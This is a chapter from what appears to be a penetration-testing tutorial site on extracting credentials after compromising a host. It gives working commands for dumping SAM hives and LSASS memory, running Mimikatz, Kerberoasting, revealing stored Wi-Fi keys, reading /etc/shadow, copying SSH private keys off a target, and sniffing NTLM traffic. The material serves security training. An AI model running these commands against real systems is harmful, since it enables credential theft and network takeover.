Home > Network Pentesting

Extracting Credentials

Extracting credentials is one of the most important stages of post-exploitation. Once an attacker gains access to a compromised system, the next step is to collect passwords, hashes, tokens, and authentication material stored on that host. These credentials allow lateral movement, privilege escalation, remote access, and domain compromise. Modern systems store credentials in memory, in files, in authentication caches, and inside configuration artifacts. This chapter explains how to locate and extract them safely and effectively.

Understanding Where Credentials Live

Credentials are stored in different locations depending on the operating system and authentication method.

Windows:

  • LSASS process memory

  • SAM database

  • Security hive

  • Cached domain credentials

  • DPAPI secrets

  • RDP credentials

  • Browser passwords

  • Application configuration files

  • Scheduled tasks and service accounts

Linux:

  • /etc/shadow

  • SSH keys

  • Sudoers + passwordless access

  • Environment variables

  • Application configs

  • Credentials stored in cleartext scripts

Credential extraction focuses on identifying these sources and pulling usable authentication material for later movement.

Extracting Credentials from Windows Systems

Windows systems provide multiple high-value credential sources.

Dumping Hashes from SAM and SECURITY Hives

If SYSTEM privileges are obtained:

reg save HKLM\SAM C:\sam.save
reg save HKLM\SYSTEM C:\system.save
reg save HKLM\SECURITY C:\security.save

Use Impacket’s secretsdump:

python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

Outputs include:

  • Local account NTLM hashes

  • Cached domain hashes

  • LSA secrets

These are usable for pass-the-hash.

Extracting Credentials from LSASS (Memory Dump)

LSASS holds plaintext credentials, NTLM hashes, Kerberos tickets, and tokens. Use a memory dump:

procdump.exe -accepteula -ma lsass.exe lsass.dmp

Analyze with Mimikatz:

mimikatz.exe
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords

This reveals:

  • Plaintext passwords

  • NTLM hashes

  • Kerberos tickets

  • DPAPI secrets

LSASS extraction is the most powerful post-exploitation technique on Windows.

Extracting Credentials via Mimikatz (Live Mode)

If allowed:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"

Live extraction reveals credentials for all logged-in users.

Dumping LSA Secrets

mimikatz.exe "lsadump::secrets"

This retrieves:

  • Service passwords

  • SQL service accounts

  • Application passwords

Dumping Cached Domain Credentials

mimikatz.exe "lsadump::cache"

These cached credentials help in offline cracking or identifying domain users.

Extracting Kerberos Tickets (Kerberoasting & Ticket Extraction)

Kerberos tickets allow lateral movement inside Active Directory environments.

List Kerberos Tickets

mimikatz.exe "sekurlsa::tickets"

Export Tickets

mimikatz.exe "sekurlsa::tickets /export"

Tickets (kirbi files) can later be injected into other sessions.

Extract Service Tickets for Cracking (Kerberoasting)

Using Impacket:

python3 GetUserSPNs.py domain/user:password -dc-ip 10.10.10.5 -request

This returns service account tickets that can be cracked offline.

Browser Credential Extraction (Windows)

Credentials stored inside browsers can be extracted.

Using Nirsoft Tools (If Allowed)

Chrome/Edge passwords:

WebBrowserPassView.exe

RDP credentials:

VaultPasswordView.exe

Wi-Fi credentials:

netsh wlan show profiles
netsh wlan show profile "<ssid>" key=clear

These often expose reused domain passwords.

Extracting Credentials from Linux Systems

Linux stores credentials differently but still provides exploitable sources.

Extract /etc/shadow (Root Required)

sudo cat /etc/shadow

Extract hashes for offline cracking.

Extract SSH Private Keys

Look for keys in:

~/.ssh/id_rsa
~/.ssh/id_ed25519
/etc/ssh/ssh_host_rsa_key

Download for reuse:

scp user@target:/home/user/.ssh/id_rsa .

Extract SSH Agent Keys

If SSH agent is loaded:

ssh-add -L

Extract Environment Variables

printenv

Look for:

  • API keys

  • Database credentials

  • Tokens

Extract Credentials from Config Files

Search common paths:

grep -Ri "password" /etc /var/www /home

High-value files include:

  • wp-config.php

  • .env files

  • MySQL configs

  • Python app configs

  • Bash scripts

These often contain hardcoded secrets.

Extracting Credentials from Applications

Applications frequently store passwords in plain text.

Common sources:

  • Database connection strings

  • Backup configurations

  • Service account credentials

  • Jenkins / GitLab runners

  • Docker secrets

  • Kubernetes config

Example search:

grep -Ri "password" /opt /var /srv

Token-Based Credential Extraction

Tokens may allow impersonation without passwords.

Windows Access Tokens

Use Mimikatz:

token::list
token::elevate

Extract Kerberos Tickets

sekurlsa::tickets /export

These tickets can be reused in pass-the-ticket attacks.

Credential Extraction via Network Sniffing

If the compromised host sees network traffic:

  • Capture plaintext protocols

  • Extract NTLM authentication

  • Sniff misconfigured internal services

Example capture:

tcpdump -i eth0 port 80 or port 445

NTLM challenge-response pairs captured can be cracked offline.

Why Credential Extraction Is Critical

Extracted credentials allow attackers to:

  • Move to new systems

  • Escalate privileges

  • Access internal services

  • Impersonate users

  • Compromise domain controllers

  • Persist in the network

A single weak password or cached credential can lead to full domain takeover.

Intel Dump

  • Credentials exist in memory, files, browsers, services, and tokens

  • Windows: LSASS, SAM, LSA secrets, Kerberos tickets

  • Linux: shadow file, SSH keys, environment variables

  • Tools: Mimikatz, Impacket, Procdump

  • Extracted credentials fuel lateral movement and domain compromise

HOME LEARN COMMUNITY DASHBOARD